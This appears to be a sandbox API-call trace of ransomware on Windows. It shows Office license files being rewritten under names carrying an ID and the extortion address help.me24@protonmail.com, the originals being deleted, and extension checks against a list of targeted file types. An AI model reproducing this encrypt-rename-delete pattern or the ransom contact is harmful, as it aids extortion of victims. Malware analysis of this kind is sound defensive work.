	[0187.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.256] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0187.257] GetLastError () returned 0x0
	[0187.257] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x57c1, lpOverlapped=0x0) returned 1
	[0187.264] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0187.265] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.266] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x114, lpOverlapped=0x0) returned 1
	[0187.266] SetEndOfFile (hFile=0x55c) returned 1
	[0187.266] CloseHandle (hObject=0x55c) returned 1
	[0187.266] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.266] SetEndOfFile (hFile=0x37c) returned 1
	[0187.269] CloseHandle (hObject=0x37c) returned 1
	[0187.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1
	[0187.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.271] lstrlenW (lpString=".doc") returned 4
	[0187.271] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".docx") returned 5
	[0187.271] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.271] lstrlenW (lpString=".pdf") returned 4
	[0187.271] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".xls") returned 4
	[0187.271] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".xlsx") returned 5
	[0187.271] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.271] lstrlenW (lpString=".ppt") returned 4
	[0187.271] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.271] lstrlenW (lpString=".zip") returned 4
	[0187.271] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".rar") returned 4
	[0187.271] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".bz2") returned 4
	[0187.271] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString=".7z") returned 3
	[0187.271] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.271] lstrlenW (lpString=".dbf") returned 4
	[0187.271] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.272] lstrlenW (lpString=".1cd") returned 4
	[0187.272] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.272] lstrlenW (lpString=".jpg") returned 4
	[0187.272] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.272] lstrlenW (lpString=".doc") returned 4
	[0187.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".docx") returned 5
	[0187.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.272] lstrlenW (lpString=".pdf") returned 4
	[0187.272] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".xls") returned 4
	[0187.272] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".xlsx") returned 5
	[0187.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.272] lstrlenW (lpString=".ppt") returned 4
	[0187.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.272] lstrlenW (lpString=".zip") returned 4
	[0187.272] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".rar") returned 4
	[0187.272] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".bz2") returned 4
	[0187.272] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.272] lstrlenW (lpString=".7z") returned 3
	[0187.273] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.273] lstrlenW (lpString=".dbf") returned 4
	[0187.273] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.273] lstrlenW (lpString=".1cd") returned 4
	[0187.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0187.273] lstrlenW (lpString=".jpg") returned 4
	[0187.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.273] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.273] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35
	[0187.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.274] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11626) returned 1
	[0187.274] CloseHandle (hObject=0x37c) returned 1
	[0187.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220
	[0187.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.275] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.275] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0187.276] GetLastError () returned 0x0
	[0187.276] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d6a, lpOverlapped=0x0) returned 1
	[0187.287] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0187.288] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.288] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x11a, lpOverlapped=0x0) returned 1
	[0187.288] SetEndOfFile (hFile=0x55c) returned 1
	[0187.288] CloseHandle (hObject=0x55c) returned 1
	[0187.288] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.289] SetEndOfFile (hFile=0x37c) returned 1
	[0187.291] CloseHandle (hObject=0x37c) returned 1
	[0187.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1
	[0187.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.293] lstrlenW (lpString=".doc") returned 4
	[0187.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".docx") returned 5
	[0187.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.293] lstrlenW (lpString=".pdf") returned 4
	[0187.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".xls") returned 4
	[0187.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".xlsx") returned 5
	[0187.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.293] lstrlenW (lpString=".ppt") returned 4
	[0187.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.293] lstrlenW (lpString=".zip") returned 4
	[0187.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".rar") returned 4
	[0187.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".bz2") returned 4
	[0187.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.293] lstrlenW (lpString=".7z") returned 3
	[0187.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".dbf") returned 4
	[0187.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".1cd") returned 4
	[0187.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".jpg") returned 4
	[0187.294] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".doc") returned 4
	[0187.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".docx") returned 5
	[0187.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.294] lstrlenW (lpString=".pdf") returned 4
	[0187.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".xls") returned 4
	[0187.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".xlsx") returned 5
	[0187.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.294] lstrlenW (lpString=".ppt") returned 4
	[0187.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".zip") returned 4
	[0187.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".rar") returned 4
	[0187.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".bz2") returned 4
	[0187.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.294] lstrlenW (lpString=".7z") returned 3
	[0187.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.294] lstrlenW (lpString=".dbf") returned 4
	[0187.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.295] lstrlenW (lpString=".1cd") returned 4
	[0187.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0187.295] lstrlenW (lpString=".jpg") returned 4
	[0187.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.295] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32
	[0187.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.296] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11179) returned 1
	[0187.296] CloseHandle (hObject=0x37c) returned 1
	[0187.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220
	[0187.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0187.296] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.297] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0187.297] GetLastError () returned 0x0
	[0187.297] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0187.343] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0187.344] ReadFile (in: hFile=0x37c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.344] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x114, lpOverlapped=0x0) returned 1
	[0187.344] SetEndOfFile (hFile=0x55c) returned 1
	[0187.344] CloseHandle (hObject=0x55c) returned 1
	[0187.344] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.344] SetEndOfFile (hFile=0x37c) returned 1
	[0187.347] CloseHandle (hObject=0x37c) returned 1
	[0187.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1
	[0187.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.349] lstrlenW (lpString=".doc") returned 4
	[0187.349] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".docx") returned 5
	[0187.349] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.349] lstrlenW (lpString=".pdf") returned 4
	[0187.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".xls") returned 4
	[0187.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".xlsx") returned 5
	[0187.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.349] lstrlenW (lpString=".ppt") returned 4
	[0187.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.349] lstrlenW (lpString=".zip") returned 4
	[0187.349] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".rar") returned 4
	[0187.349] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".bz2") returned 4
	[0187.349] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString=".7z") returned 3
	[0187.349] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.349] lstrlenW (lpString=".dbf") returned 4
	[0187.349] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.349] lstrlenW (lpString=".1cd") returned 4
	[0187.350] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString=".jpg") returned 4
	[0187.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString=".doc") returned 4
	[0187.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".docx") returned 5
	[0187.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.350] lstrlenW (lpString=".pdf") returned 4
	[0187.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".xls") returned 4
	[0187.350] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".xlsx") returned 5
	[0187.350] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.350] lstrlenW (lpString=".ppt") returned 4
	[0187.350] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString=".zip") returned 4
	[0187.350] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".rar") returned 4
	[0187.350] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".bz2") returned 4
	[0187.350] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString=".7z") returned 3
	[0187.350] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString=".dbf") returned 4
	[0187.350] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0187.350] lstrlenW (lpString=".1cd") returned 4
	[0187.350] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
